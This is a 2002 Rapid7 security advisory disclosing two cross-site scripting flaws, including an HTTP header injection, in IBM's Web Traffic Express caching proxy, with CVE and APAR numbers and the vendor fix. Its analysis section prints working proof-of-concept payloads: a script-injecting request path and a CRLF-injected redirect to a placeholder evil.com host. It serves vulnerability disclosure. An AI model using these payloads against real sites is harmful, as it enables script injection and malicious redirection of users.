Back to Advisories

Advisories

Rapid7 Advisory R7-0008: IBM WebSphere Edge Server Caching Proxy Cross-Site Scripting Issues

First XSS issue (standard XSS)

IBM: APAR# IY24527

CVE: CAN-2002-1167
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1167

Bugtraq: 6000
http://online.securityfocus.com/bid/6000

Second XSS issue (HTTP header injection)

IBM: APAR# IY35139

CVE: CAN-2002-1168
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1168

Bugtraq: 6001
http://online.securityfocus.com/bid/6001

Summary

October 23, 2002 - IBM Web Traffic Express Caching Proxy server is vulnerable to cross site scripting. The Caching Proxy server allows script code to be injected into pages using standard cross-site scripting techniques. A second, variant attack allows the HTTP headers to be manipulated.

IBM now bundles Web Traffic Express v4.0 with WebSphere Edge Server v2.0. IBM Web Traffic Express v3.6 and earlier were separately shipping products.

Affected system(s):

KNOWN VULNERABLE:

  • IBM Web Traffic Express Caching Proxy Server v4.x (bundled with IBM WebSphere Edge Server v2.0)
  • IBM Web Traffic Express Caching Proxy Server v3.6

Vendor Info

IBM Software
http://www-3.ibm.com/software/webservers/edgeserver/index.html

IBM was notified of this issue and has released efix build number 4.0.1.26 for Caching Proxy Server v4.x, which fixes this issue and other security issues (see Rapid7 advisory R7-0007 for more information: http://www.rapid7.com/advisories/R7-0007.txt ).

IBM is tracking the first (standard) XSS issue as APAR# IY24527.

IBM is tracking the second (header injection) XSS issue as APAR# IY35139.

Detailed Analysis

There are two XSS techniques that can be used against the caching proxy server. Please note that the following text may be wrapped or otherwise mangled by mail clients or gateways. You should refer to the original advisory if there is a question about the exact text.

  1. Standard XSS exploit against Web Traffic Express Caching Proxy

    Request the following path from the caching proxy server:

    /"><img%20src="javascript:alert(document.domain)">


  2. XSS exploit against Web Traffic Express Caching Proxy, adding a second "Location:" header by using %0a%0d

    telnet www.victim.com 80
    Trying 192.168.100.1...
    Connected to www.victim.com.
    Escape character is '^]'.
    GET /%0a%0dLocation:%20http://www.evil.com/"> HTTP/1.0

    HTTP/1.1 302 Found
    Server: IBM-PROXY-WTE-US/3.6
    Date: Fri, 18 Oct 2002 03:44:18 GMT
    Location: http://www.victim.com/;www.victim.com/
    Location: http:/www.evil.com/<img src="javascript:alert(document.domain)">
    Accept-Ranges: bytes
    Content-Type: text/html
    Content-Length: 443
    Last-Modified: Fri, 26 Jul 2002 03:44:18 GMT

Solution

IBM customers should install Caching Proxy efix build 4.0.1.26 or higher. Efix builds can be downloaded from IBM's secure FTP site. For more information on obtaining efix builds, contact IBM support with the APAR numbers listed above.

The fixes have also been ported back to the Web Traffic Express v3.6 code base. Customers running v3.6 should contact IBM support for more information on how to upgrade to a newer build.

Disclaimer & Copyright

Rapid7, LLC is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.

This advisory Copyright (C) 2002 Rapid7, LLC. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.